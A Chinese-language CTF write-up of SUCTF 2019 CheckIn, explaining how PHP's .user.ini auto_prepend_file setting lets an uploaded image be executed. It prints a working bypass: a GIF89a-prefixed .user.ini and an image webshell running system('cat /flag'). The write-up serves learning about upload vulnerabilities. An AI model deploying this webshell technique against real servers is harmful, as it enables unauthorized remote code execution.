.user.ini

我们先在php手册上看一下对.user.ini的介绍:

img

也就是说我们可以在.user.ini中设置php.iniPHP_INI_PERDIRPHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini

在p牛的文章中提到了两个有趣的设置:auto_prepend_fileauto_append_file

我们再到手册中看了下这两个设置的定义:

img

大致意思就是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);

这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

SUCTF2019题目中的利用

看过.user.ini的分析后我们的思路应该比较清晰了,我们可以上传一个这样的.user.ini

1
2
GIF89a
auto_prepend_file=a.jpg

img

此时我们注意到上传目录下还有一个index.php,我们正好需要该目录下有一个可执行php文件,那这简直暴露了考点就是.user.ini,看来这个思路应该是可行的

然后再上传一个这样的图片马a.jpg:

1
2
GIF89a
<script language='php'>system('cat /flag');</script>

img

最后,我们访问http://192.168.177.152:9021/uploads/6683eb5bfa1174bd139499256f60b7ab/index.php

即可得到flag

.user.ini实战利用的可能性

综上所述.user.ini的利用条件如下:

  1. 服务器脚本语言为PHP
  2. 服务器使用CGI/FastCGI模式
  3. 上传目录下要有可执行的php文件

从这来看.user.ini要比.htaccess的应用范围要广一些,毕竟.htaccess只能用于Apache

但仔细推敲我们就会感到**“上传目录下要有可执行的php文件”**这个要求在文件上传中也比较苛刻,应该没有天才开发者会把上传文件放在主目录或者把php文件放在上传文件夹。

参考文章:

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

从SUCTF 2019 CheckIn 浅谈.user.ini的利用